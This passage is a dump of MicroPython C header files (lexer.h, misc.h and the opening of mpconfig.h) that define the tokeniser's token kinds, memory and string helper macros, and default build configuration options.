    "path": "micropython/inc/py/lexer.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_LEXER_H\n#define MICROPY_INCLUDED_PY_LEXER_H\n\n#include <stdint.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/qstr.h\"\n#include \"py/reader.h\"\n\n/* lexer.h -- simple tokeniser for MicroPython\n *\n * Uses (byte) length instead of null termination.\n * Tokens are the same - UTF-8 with (byte) length.\n */\n\ntypedef enum _mp_token_kind_t {\n    MP_TOKEN_END,\n\n    MP_TOKEN_INVALID,\n    MP_TOKEN_DEDENT_MISMATCH,\n    MP_TOKEN_LONELY_STRING_OPEN,\n\n    MP_TOKEN_NEWLINE,\n    MP_TOKEN_INDENT,\n    MP_TOKEN_DEDENT,\n\n    MP_TOKEN_NAME,\n    MP_TOKEN_INTEGER,\n    MP_TOKEN_FLOAT_OR_IMAG,\n    MP_TOKEN_STRING,\n    MP_TOKEN_BYTES,\n\n    MP_TOKEN_ELLIPSIS,\n\n    MP_TOKEN_KW_FALSE,\n    MP_TOKEN_KW_NONE,\n    MP_TOKEN_KW_TRUE,\n    MP_TOKEN_KW___DEBUG__,\n    MP_TOKEN_KW_AND,\n    MP_TOKEN_KW_AS,\n    MP_TOKEN_KW_ASSERT,\n    #if MICROPY_PY_ASYNC_AWAIT\n    MP_TOKEN_KW_ASYNC,\n    MP_TOKEN_KW_AWAIT,\n    #endif\n    MP_TOKEN_KW_BREAK,\n    MP_TOKEN_KW_CLASS,\n    MP_TOKEN_KW_CONTINUE,\n    MP_TOKEN_KW_DEF,\n    MP_TOKEN_KW_DEL,\n    MP_TOKEN_KW_ELIF,\n    MP_TOKEN_KW_ELSE,\n    MP_TOKEN_KW_EXCEPT,\n    MP_TOKEN_KW_FINALLY,\n    MP_TOKEN_KW_FOR,\n    MP_TOKEN_KW_FROM,\n    MP_TOKEN_KW_GLOBAL,\n    MP_TOKEN_KW_IF,\n    MP_TOKEN_KW_IMPORT,\n    MP_TOKEN_KW_IN,\n    MP_TOKEN_KW_IS,\n    MP_TOKEN_KW_LAMBDA,\n    MP_TOKEN_KW_NONLOCAL,\n    MP_TOKEN_KW_NOT,\n    MP_TOKEN_KW_OR,\n    MP_TOKEN_KW_PASS,\n    MP_TOKEN_KW_RAISE,\n    MP_TOKEN_KW_RETURN,\n    MP_TOKEN_KW_TRY,\n    MP_TOKEN_KW_WHILE,\n    MP_TOKEN_KW_WITH,\n    MP_TOKEN_KW_YIELD,\n\n    MP_TOKEN_OP_PLUS,\n    MP_TOKEN_OP_MINUS,\n    MP_TOKEN_OP_STAR,\n    MP_TOKEN_OP_DBL_STAR,\n    MP_TOKEN_OP_SLASH,\n    MP_TOKEN_OP_DBL_SLASH,\n    MP_TOKEN_OP_PERCENT,\n    MP_TOKEN_OP_LESS,\n    MP_TOKEN_OP_DBL_LESS,\n    MP_TOKEN_OP_MORE,\n    MP_TOKEN_OP_DBL_MORE,\n    MP_TOKEN_OP_AMPERSAND,\n    MP_TOKEN_OP_PIPE,\n    MP_TOKEN_OP_CARET,\n    MP_TOKEN_OP_TILDE,\n    MP_TOKEN_OP_LESS_EQUAL,\n    MP_TOKEN_OP_MORE_EQUAL,\n    MP_TOKEN_OP_DBL_EQUAL,\n    MP_TOKEN_OP_NOT_EQUAL,\n\n    MP_TOKEN_DEL_PAREN_OPEN,\n    MP_TOKEN_DEL_PAREN_CLOSE,\n    MP_TOKEN_DEL_BRACKET_OPEN,\n    MP_TOKEN_DEL_BRACKET_CLOSE,\n    MP_TOKEN_DEL_BRACE_OPEN,\n    MP_TOKEN_DEL_BRACE_CLOSE,\n    MP_TOKEN_DEL_COMMA,\n    MP_TOKEN_DEL_COLON,\n    MP_TOKEN_DEL_PERIOD,\n    MP_TOKEN_DEL_SEMICOLON,\n    MP_TOKEN_DEL_AT,\n    MP_TOKEN_DEL_EQUAL,\n    MP_TOKEN_DEL_PLUS_EQUAL,\n    MP_TOKEN_DEL_MINUS_EQUAL,\n    MP_TOKEN_DEL_STAR_EQUAL,\n    MP_TOKEN_DEL_SLASH_EQUAL,\n    MP_TOKEN_DEL_DBL_SLASH_EQUAL,\n    MP_TOKEN_DEL_PERCENT_EQUAL,\n    MP_TOKEN_DEL_AMPERSAND_EQUAL,\n    MP_TOKEN_DEL_PIPE_EQUAL,\n    MP_TOKEN_DEL_CARET_EQUAL,\n    MP_TOKEN_DEL_DBL_MORE_EQUAL,\n    MP_TOKEN_DEL_DBL_LESS_EQUAL,\n    MP_TOKEN_DEL_DBL_STAR_EQUAL,\n    MP_TOKEN_DEL_MINUS_MORE,\n} mp_token_kind_t;\n\n// this data structure is exposed for efficiency\n// public members are: source_name, tok_line, tok_column, tok_kind, vstr\ntypedef struct _mp_lexer_t {\n    qstr source_name;           // name of source\n    mp_reader_t reader;         // stream source\n\n    unichar chr0, chr1, chr2;   // current cached characters from source\n\n    size_t line;                // current source line\n    size_t column;              // current source column\n\n    mp_int_t emit_dent;             // non-zero when there are INDENT/DEDENT tokens to emit\n    mp_int_t nested_bracket_level;  // >0 when there are nested brackets over multiple lines\n\n    size_t alloc_indent_level;\n    size_t num_indent_level;\n    uint16_t *indent_level;\n\n    size_t tok_line;            // token source line\n    size_t tok_column;          // token source column\n    mp_token_kind_t tok_kind;   // token kind\n    vstr_t vstr;                // token data\n} mp_lexer_t;\n\nmp_lexer_t *mp_lexer_new(qstr src_name, mp_reader_t reader);\nmp_lexer_t *mp_lexer_new_from_str_len(qstr src_name, const char *str, size_t len, size_t free_len);\n\nvoid mp_lexer_free(mp_lexer_t *lex);\nvoid mp_lexer_to_next(mp_lexer_t *lex);\n\n/******************************************************************/\n// platform specific import function; must be implemented for a specific port\n// TODO tidy up, rename, or put elsewhere\n\n//mp_lexer_t *mp_import_open_file(qstr mod_name);\n\ntypedef enum {\n    MP_IMPORT_STAT_NO_EXIST,\n    MP_IMPORT_STAT_DIR,\n    MP_IMPORT_STAT_FILE,\n} mp_import_stat_t;\n\nmp_import_stat_t mp_import_stat(const char *path);\nmp_lexer_t *mp_lexer_new_from_file(const char *filename);\n\n#if MICROPY_HELPER_LEXER_UNIX\nmp_lexer_t *mp_lexer_new_from_fd(qstr filename, int fd, bool close_fd);\n#endif\n\n#endif // MICROPY_INCLUDED_PY_LEXER_H\n"
  },
  {
    "path": "micropython/inc/py/misc.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MISC_H\n#define MICROPY_INCLUDED_PY_MISC_H\n\n// a mini library of useful types and functions\n\n/** types *******************************************************/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stddef.h>\n\ntypedef unsigned char byte;\ntypedef unsigned int uint;\n\n/** generic ops *************************************************/\n\n#ifndef MIN\n#define MIN(x, y) ((x) < (y) ? (x) : (y))\n#endif\n#ifndef MAX\n#define MAX(x, y) ((x) > (y) ? (x) : (y))\n#endif\n\n// Classical double-indirection stringification of preprocessor macro's value\n#define _MP_STRINGIFY(x) #x\n#define MP_STRINGIFY(x) _MP_STRINGIFY(x)\n\n/** memory allocation ******************************************/\n\n// TODO make a lazy m_renew that can increase by a smaller amount than requested (but by at least 1 more element)\n\n#define m_new(type, num) ((type*)(m_malloc(sizeof(type) * (num))))\n#define m_new_maybe(type, num) ((type*)(m_malloc_maybe(sizeof(type) * (num))))\n#define m_new0(type, num) ((type*)(m_malloc0(sizeof(type) * (num))))\n#define m_new_obj(type) (m_new(type, 1))\n#define m_new_obj_maybe(type) (m_new_maybe(type, 1))\n#define m_new_obj_var(obj_type, var_type, var_num) ((obj_type*)m_malloc(sizeof(obj_type) + sizeof(var_type) * (var_num)))\n#define m_new_obj_var_maybe(obj_type, var_type, var_num) ((obj_type*)m_malloc_maybe(sizeof(obj_type) + sizeof(var_type) * (var_num)))\n#if MICROPY_ENABLE_FINALISER\n#define m_new_obj_with_finaliser(type) ((type*)(m_malloc_with_finaliser(sizeof(type))))\n#else\n#define m_new_obj_with_finaliser(type) m_new_obj(type)\n#endif\n#if MICROPY_MALLOC_USES_ALLOCATED_SIZE\n#define m_renew(type, ptr, old_num, new_num) ((type*)(m_realloc((ptr), sizeof(type) * (old_num), sizeof(type) * (new_num))))\n#define m_renew_maybe(type, ptr, old_num, new_num, allow_move) ((type*)(m_realloc_maybe((ptr), sizeof(type) * (old_num), sizeof(type) * (new_num), (allow_move))))\n#define m_del(type, ptr, num) m_free(ptr, sizeof(type) * (num))\n#define m_del_var(obj_type, var_type, var_num, ptr) (m_free(ptr, sizeof(obj_type) + sizeof(var_type) * (var_num)))\n#else\n#define m_renew(type, ptr, old_num, new_num) ((type*)(m_realloc((ptr), sizeof(type) * (new_num))))\n#define m_renew_maybe(type, ptr, old_num, new_num, allow_move) ((type*)(m_realloc_maybe((ptr), sizeof(type) * (new_num), (allow_move))))\n#define m_del(type, ptr, num) ((void)(num), m_free(ptr))\n#define m_del_var(obj_type, var_type, var_num, ptr) ((void)(var_num), m_free(ptr))\n#endif\n#define m_del_obj(type, ptr) (m_del(type, ptr, 1))\n\nvoid *m_malloc(size_t num_bytes);\nvoid *m_malloc_maybe(size_t num_bytes);\nvoid *m_malloc_with_finaliser(size_t num_bytes);\nvoid *m_malloc0(size_t num_bytes);\n#if MICROPY_MALLOC_USES_ALLOCATED_SIZE\nvoid *m_realloc(void *ptr, size_t old_num_bytes, size_t new_num_bytes);\nvoid *m_realloc_maybe(void *ptr, size_t old_num_bytes, size_t new_num_bytes, bool allow_move);\nvoid m_free(void *ptr, size_t num_bytes);\n#else\nvoid *m_realloc(void *ptr, size_t new_num_bytes);\nvoid *m_realloc_maybe(void *ptr, size_t new_num_bytes, bool allow_move);\nvoid m_free(void *ptr);\n#endif\nNORETURN void *m_malloc_fail(size_t num_bytes);\n\n#if MICROPY_MEM_STATS\nsize_t m_get_total_bytes_allocated(void);\nsize_t m_get_current_bytes_allocated(void);\nsize_t m_get_peak_bytes_allocated(void);\n#endif\n\n/** array helpers ***********************************************/\n\n// get the number of elements in a fixed-size array\n#define MP_ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))\n\n// align ptr to the nearest multiple of \"alignment\"\n#define MP_ALIGN(ptr, alignment) (void*)(((uintptr_t)(ptr) + ((alignment) - 1)) & ~((alignment) - 1))\n\n/** unichar / UTF-8 *********************************************/\n\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n// with unicode enabled we need a type which can fit chars up to 0x10ffff\ntypedef uint32_t unichar;\n#else\n// without unicode enabled we can only need to fit chars up to 0xff\n// (on 16-bit archs uint is 16-bits and more efficient than uint32_t)\ntypedef uint unichar;\n#endif\n\nunichar utf8_get_char(const byte *s);\nconst byte *utf8_next_char(const byte *s);\n\nbool unichar_isspace(unichar c);\nbool unichar_isalpha(unichar c);\nbool unichar_isprint(unichar c);\nbool unichar_isdigit(unichar c);\nbool unichar_isxdigit(unichar c);\nbool unichar_isident(unichar c);\nbool unichar_isupper(unichar c);\nbool unichar_islower(unichar c);\nunichar unichar_tolower(unichar c);\nunichar unichar_toupper(unichar c);\nmp_uint_t unichar_xdigit_value(unichar c);\nmp_uint_t unichar_charlen(const char *str, mp_uint_t len);\n#define UTF8_IS_NONASCII(ch) ((ch) & 0x80)\n#define UTF8_IS_CONT(ch) (((ch) & 0xC0) == 0x80)\n\n/** variable string *********************************************/\n\ntypedef struct _vstr_t {\n    size_t alloc;\n    size_t len;\n    char *buf;\n    bool fixed_buf : 1;\n} vstr_t;\n\n// convenience macro to declare a vstr with a fixed size buffer on the stack\n#define VSTR_FIXED(vstr, alloc) vstr_t vstr; char vstr##_buf[(alloc)]; vstr_init_fixed_buf(&vstr, (alloc), vstr##_buf);\n\nvoid vstr_init(vstr_t *vstr, size_t alloc);\nvoid vstr_init_len(vstr_t *vstr, size_t len);\nvoid vstr_init_fixed_buf(vstr_t *vstr, size_t alloc, char *buf);\nstruct _mp_print_t;\nvoid vstr_init_print(vstr_t *vstr, size_t alloc, struct _mp_print_t *print);\nvoid vstr_clear(vstr_t *vstr);\nvstr_t *vstr_new(size_t alloc);\nvoid vstr_free(vstr_t *vstr);\nstatic inline void vstr_reset(vstr_t *vstr) { vstr->len = 0; }\nstatic inline char *vstr_str(vstr_t *vstr) { return vstr->buf; }\nstatic inline size_t vstr_len(vstr_t *vstr) { return vstr->len; }\nvoid vstr_hint_size(vstr_t *vstr, size_t size);\nchar *vstr_extend(vstr_t *vstr, size_t size);\nchar *vstr_add_len(vstr_t *vstr, size_t len);\nchar *vstr_null_terminated_str(vstr_t *vstr);\nvoid vstr_add_byte(vstr_t *vstr, byte v);\nvoid vstr_add_char(vstr_t *vstr, unichar chr);\nvoid vstr_add_str(vstr_t *vstr, const char *str);\nvoid vstr_add_strn(vstr_t *vstr, const char *str, size_t len);\nchar *vstr_ins_blank_bytes(vstr_t *vstr, size_t byte_pos, size_t byte_len);\nvoid vstr_ins_byte(vstr_t *vstr, size_t byte_pos, byte b);\nvoid vstr_ins_char(vstr_t *vstr, size_t char_pos, unichar chr);\nvoid vstr_cut_head_bytes(vstr_t *vstr, size_t bytes_to_cut);\nvoid vstr_cut_tail_bytes(vstr_t *vstr, size_t bytes_to_cut);\nvoid vstr_cut_out_bytes(vstr_t *vstr, size_t byte_pos, size_t bytes_to_cut);\nvoid vstr_printf(vstr_t *vstr, const char *fmt, ...);\n\n/** non-dynamic size-bounded variable buffer/string *************/\n\n#define CHECKBUF(buf, max_size) char buf[max_size + 1]; size_t buf##_len = max_size; char *buf##_p = buf;\n#define CHECKBUF_RESET(buf, max_size) buf##_len = max_size; buf##_p = buf;\n#define CHECKBUF_APPEND(buf, src, src_len) \\\n        { size_t l = MIN(src_len, buf##_len); \\\n        memcpy(buf##_p, src, l); \\\n        buf##_len -= l; \\\n        buf##_p += l; }\n#define CHECKBUF_APPEND_0(buf) { *buf##_p = 0; }\n#define CHECKBUF_LEN(buf) (buf##_p - buf)\n\n#ifdef va_start\nvoid vstr_vprintf(vstr_t *vstr, const char *fmt, va_list ap);\n#endif\n\n// Debugging helpers\nint DEBUG_printf(const char *fmt, ...);\n\nextern mp_uint_t mp_verbose_flag;\n\n// This is useful for unicode handling. Some CPU archs has\n// special instructions for efficient implementation of this\n// function (e.g. CLZ on ARM).\n// NOTE: this function is unused at the moment\n#ifndef count_lead_ones\nstatic inline mp_uint_t count_lead_ones(byte val) {\n    mp_uint_t c = 0;\n    for (byte mask = 0x80; val & mask; mask >>= 1) {\n        c++;\n    }\n    return c;\n}\n#endif\n\n/** float internals *************/\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n#define MP_FLOAT_EXP_BITS (11)\n#define MP_FLOAT_FRAC_BITS (52)\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n#define MP_FLOAT_EXP_BITS (8)\n#define MP_FLOAT_FRAC_BITS (23)\n#endif\n#define MP_FLOAT_EXP_BIAS ((1 << (MP_FLOAT_EXP_BITS - 1)) - 1)\n#endif // MICROPY_PY_BUILTINS_FLOAT\n\n#endif // MICROPY_INCLUDED_PY_MISC_H\n"
  },
  {
    "path": "micropython/inc/py/mpconfig.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPCONFIG_H\n#define MICROPY_INCLUDED_PY_MPCONFIG_H\n\n// This file contains default configuration settings for MicroPython.\n// You can override any of the options below using mpconfigport.h file\n// located in a directory of your port.\n\n// mpconfigport.h is a file containing configuration settings for a\n// particular port. mpconfigport.h is actually a default name for\n// such config, and it can be overridden using MP_CONFIGFILE preprocessor\n// define (you can do that by passing CFLAGS_EXTRA='-DMP_CONFIGFILE=\"<file.h>\"'\n// argument to make when using standard MicroPython makefiles).\n// This is useful to have more than one config per port, for example,\n// release vs debug configs, etc. Note that if you switch from one config\n// to another, you must rebuild from scratch using \"-B\" switch to make.\n\n#ifdef MP_CONFIGFILE\n#include MP_CONFIGFILE\n#else\n#include <mpconfigport.h>\n#endif\n\n// Any options not explicitly set in mpconfigport.h will get default\n// values below.\n\n/*****************************************************************************/\n/* Object representation                                                     */\n\n// A MicroPython object is a machine word having the following form:\n//  - xxxx...xxx1 : a small int, bits 1 and above are the value\n//  - xxxx...xx10 : a qstr, bits 2 and above are the value\n//  - xxxx...xx00 : a pointer to an mp_obj_base_t (unless a fake object)\n#define MICROPY_OBJ_REPR_A (0)\n\n// A MicroPython object is a machine word having the following form:\n//  - xxxx...xx01 : a small int, bits 2 and above are the value\n//  - xxxx...xx11 : a qstr, bits 2 and above are the value\n//  - xxxx...xxx0 : a pointer to an mp_obj_base_t (unless a fake object)\n#define MICROPY_OBJ_REPR_B (1)\n\n// A MicroPython object is a machine word having the following form (called R):\n//  - iiiiiiii iiiiiiii iiiiiiii iiiiiii1 small int with 31-bit signed value\n//  - 01111111 1qqqqqqq qqqqqqqq qqqqq110 str with 20-bit qstr value\n//  - s1111111 10000000 00000000 00000010 +/- inf\n//  - s1111111 1xxxxxxx xxxxxxxx xxxxx010 nan, x != 0\n//  - seeeeeee efffffff ffffffff ffffff10 30-bit fp, e != 0xff\n//  - pppppppp pppppppp pppppppp pppppp00 ptr (4 byte alignment)\n// Str and float stored as O = R + 0x80800000, retrieved as R = O - 0x80800000.\n// This makes strs easier to encode/decode as they have zeros in the top 9 bits.\n// This scheme only works with 32-bit word size and float enabled.\n#define MICROPY_OBJ_REPR_C (2)\n\n// A MicroPython object is a 64-bit word having the following form (called R):\n//  - seeeeeee eeeeffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 64-bit fp, e != 0x7ff\n//  - s1111111 11110000 00000000 00000000 00000000 00000000 00000000 00000000 +/- inf\n//  - 01111111 11111000 00000000 00000000 00000000 00000000 00000000 00000000 normalised nan\n//  - 01111111 11111101 00000000 00000000 iiiiiiii iiiiiiii iiiiiiii iiiiiii1 small int\n//  - 01111111 11111110 00000000 00000000 qqqqqqqq qqqqqqqq qqqqqqqq qqqqqqq1 str\n//  - 01111111 11111100 00000000 00000000 pppppppp pppppppp pppppppp pppppp00 ptr (4 byte alignment)\n// Stored as O = R + 0x8004000000000000, retrieved as R = O - 0x8004000000000000.\n// This makes pointers have all zeros in the top 32 bits.\n// Small-ints and strs have 1 as LSB to make sure they don't look like pointers\n// to the garbage collector.\n#define MICROPY_OBJ_REPR_D (3)\n\n#ifndef MICROPY_OBJ_REPR\n#define MICROPY_OBJ_REPR (MICROPY_OBJ_REPR_A)\n#endif\n\n/*****************************************************************************/\n/* Memory allocation policy                                                  */\n\n// Number of bytes in memory allocation/GC block. Any size allocated will be\n// rounded up to be multiples of this.\n#ifndef MICROPY_BYTES_PER_GC_BLOCK\n#define MICROPY_BYTES_PER_GC_BLOCK (4 * BYTES_PER_WORD)\n#endif\n\n// Number of words allocated (in BSS) to the GC stack (minimum is 1)\n#ifndef MICROPY_ALLOC_GC_STACK_SIZE\n#define MICROPY_ALLOC_GC_STACK_SIZE (64)\n#endif\n\n// Be conservative and always clear to zero newly (re)allocated memory in the GC.\n// This helps eliminate stray pointers that hold on to memory that's no longer\n// used.  It decreases performance due to unnecessary memory clearing.\n// A memory manager which always clears memory can set this to 0.\n// TODO Do analysis to understand why some memory is not properly cleared and\n// find a more efficient way to clear it.\n#ifndef MICROPY_GC_CONSERVATIVE_CLEAR\n#define MICROPY_GC_CONSERVATIVE_CLEAR (MICROPY_ENABLE_GC)\n#endif\n\n// Support automatic GC when reaching allocation threshold,\n// configurable by gc.threshold().\n#ifndef MICROPY_GC_ALLOC_THRESHOLD\n#define MICROPY_GC_ALLOC_THRESHOLD (1)\n#endif\n\n// Number of bytes to allocate initially when creating new chunks to store\n// interned string data.  Smaller numbers lead to more chunks being needed\n// and more wastage at the end of the chunk.  Larger numbers lead to wasted\n// space at the end when no more strings need interning.\n#ifndef MICROPY_ALLOC_QSTR_CHUNK_INIT\n#define MICROPY_ALLOC_QSTR_CHUNK_INIT (128)\n#endif\n\n// Initial amount for lexer indentation level\n#ifndef MICROPY_ALLOC_LEXER_INDENT_INIT\n#define MICROPY_ALLOC_LEXER_INDENT_INIT (10)\n#endif\n\n// Increment for lexer indentation level\n#ifndef MICROPY_ALLOC_LEXEL_INDENT_INC\n#define MICROPY_ALLOC_LEXEL_INDENT_INC (8)\n#endif\n\n// Initial amount for parse rule stack\n#ifndef MICROPY_ALLOC_PARSE_RULE_INIT\n#define MICROPY_ALLOC_PARSE_RULE_INIT (64)\n#endif\n\n// Increment for parse rule stack\n#ifndef MICROPY_ALLOC_PARSE_RULE_INC\n#define MICROPY_ALLOC_PARSE_RULE_INC (16)\n#endif\n\n// Initial amount for parse result stack\n#ifndef MICROPY_ALLOC_PARSE_RESULT_INIT\n#define MICROPY_ALLOC_PARSE_RESULT_INIT (32)\n#endif\n\n// Increment for parse result stack\n#ifndef MICROPY_ALLOC_PARSE_RESULT_INC\n#define MICROPY_ALLOC_PARSE_RESULT_INC (16)\n#endif\n\n// Strings this length or less will be interned by the parser\n#ifndef MICROPY_ALLOC_PARSE_INTERN_STRING_LEN\n#define MICROPY_ALLOC_PARSE_INTERN_STRING_LEN (10)\n#endif\n\n// Number of bytes to allocate initially when creating new chunks to store\n// parse nodes.  Small leads to fragmentation, large leads to excess use.\n#ifndef MICROPY_ALLOC_PARSE_CHUNK_INIT\n#define MICROPY_ALLOC_PARSE_CHUNK_INIT (128)\n#endif\n\n// Initial amount for ids in a scope\n#ifndef MICROPY_ALLOC_SCOPE_ID_INIT\n#define MICROPY_ALLOC_SCOPE_ID_INIT (4)\n#endif\n\n// Increment for ids in a scope\n#ifndef MICROPY_ALLOC_SCOPE_ID_INC\n#define MICROPY_ALLOC_SCOPE_ID_INC (6)\n#endif\n\n// Maximum length of a path in the filesystem\n// So we can allocate a buffer on the stack for path manipulation in import\n#ifndef MICROPY_ALLOC_PATH_MAX\n#define MICROPY_ALLOC_PATH_MAX (512)\n#endif\n\n// Initial size of module dict\n#ifndef MICROPY_MODULE_DICT_SIZE\n#define MICROPY_MODULE_DICT_SIZE (1)\n#endif\n\n// Whether realloc/free should be passed allocated memory region size\n// You must enable this if MICROPY_MEM_STATS is enabled\n#ifndef MICROPY_MALLOC_USES_ALLOCATED_SIZE\n#define MICROPY_MALLOC_USES_ALLOCATED_SIZE (0)\n#endif\n\n// Number of bytes used to store qstr length\n// Dictates hard limit on maximum Python identifier length, but 1 byte\n// (limit of 255 bytes in an identifier) should be enough for everyone\n#ifndef MICROPY_QSTR_BYTES_IN_LEN\n#define MICROPY_QSTR_BYTES_IN_LEN (1)\n#endif\n\n// Number of bytes used to store qstr hash\n#ifndef MICROPY_QSTR_BYTES_IN_HASH\n#define MICROPY_QSTR_BYTES_IN_HASH (2)\n#endif\n\n// Avoid using C stack when making Python function calls. C stack still\n// may be used if there's no free heap.\n#ifndef MICROPY_STACKLESS\n#define MICROPY_STACKLESS (0)\n#endif\n\n// Never use C stack when making Python function calls. This may break\n// testsuite as will subtly change which exception is thrown in case\n// of too deep recursion and other similar cases.\n#ifndef MICROPY_STACKLESS_STRICT\n#define MICROPY_STACKLESS_STRICT (0)\n#endif\n\n// Don't use alloca calls. As alloca() is not part of ANSI C, this\n// workaround option is provided for compilers lacking this de-facto\n// standard function. The way it works is allocating from heap, and\n// relying on garbage collection to free it eventually. This is of\n// course much less optimal than real alloca().\n#if defined(MICROPY_NO_ALLOCA) && MICROPY_NO_ALLOCA\n#undef alloca\n#define alloca(x) m_malloc(x)\n#endif\n\n/*****************************************************************************/\n/* MicroPython emitters                                                     */\n\n// Whether to support loading of persistent code\n#ifndef MICROPY_PERSISTENT_CODE_LOAD\n#define MICROPY_PERSISTENT_CODE_LOAD (0)\n#endif\n\n// Whether to support saving of persistent code\n#ifndef MICROPY_PERSISTENT_CODE_SAVE\n#define MICROPY_PERSISTENT_CODE_SAVE (0)\n#endif\n\n// Whether generated code can persist independently of the VM/runtime instance\n// This is enabled automatically when needed by other features\n#ifndef MICROPY_PERSISTENT_CODE\n#define MICROPY_PERSISTENT_CODE (MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE || MICROPY_MODULE_FROZEN_MPY)\n#endif\n\n// Whether to emit x64 native code\n#ifndef MICROPY_EMIT_X64\n#define MICROPY_EMIT_X64 (0)\n#endif\n\n// Whether to emit x86 native code\n#ifndef MICROPY_EMIT_X86\n#define MICROPY_EMIT_X86 (0)\n#endif\n\n// Whether to emit thumb native code\n#ifndef MICROPY_EMIT_THUMB\n#define MICROPY_EMIT_THUMB (0)\n#endif\n\n// Whether to enable the thumb inline assembler\n#ifndef MICROPY_EMIT_INLINE_THUMB\n#define MICROPY_EMIT_INLINE_THUMB (0)\n#endif\n\n// Whether to enable ARMv7-M instruction support in the Thumb2 inline assembler\n#ifndef MICROPY_EMIT_INLINE_THUMB_ARMV7M\n#define MICROPY_EMIT_INLINE_THUMB_ARMV7M (1)\n#endif\n\n// Whether to enable float support in the Thumb2 inline assembler\n#ifndef MICROPY_EMIT_INLINE_THUMB_FLOAT\n#define MICROPY_EMIT_INLINE_THUMB_FLOAT (1)\n#endif\n\n// Whether to emit ARM native code\n#ifndef MICROPY_EMIT_ARM\n#define MICROPY_EMIT_ARM (0)\n#endif\n\n// Whether to emit Xtensa native code\n#ifndef MICROPY_EMIT_XTENSA\n#define MICROPY_EMIT_XTENSA (0)\n#endif\n\n// Whether to enable the Xtensa inline assembler\n#ifndef MICROPY_EMIT_INLINE_XTENSA\n#define MICROPY_EMIT_INLINE_XTENSA (0)\n#endif\n\n// Convenience definition for whether any native emitter is enabled\n#define MICROPY_EMIT_NATIVE (MICROPY_EMIT_X64 || MICROPY_EMIT_X86 || MICROPY_EMIT_THUMB || MICROPY_EMIT_ARM || MICROPY_EMIT_XTENSA)\n\n// Convenience definition for whether any inline assembler emitter is enabled\n#define MICROPY_EMIT_INLINE_ASM (MICROPY_EMIT_INLINE_THUMB || MICROPY_EMIT_INLINE_XTENSA)\n\n/*****************************************************************************/\n/* Compiler configuration                                                    */\n\n// Whether to include the compiler\n#ifndef MICROPY_ENABLE_COMPILER\n#define MICROPY_ENABLE_COMPILER (1)\n#endif\n\n// Whether the compiler is dynamically configurable (ie at 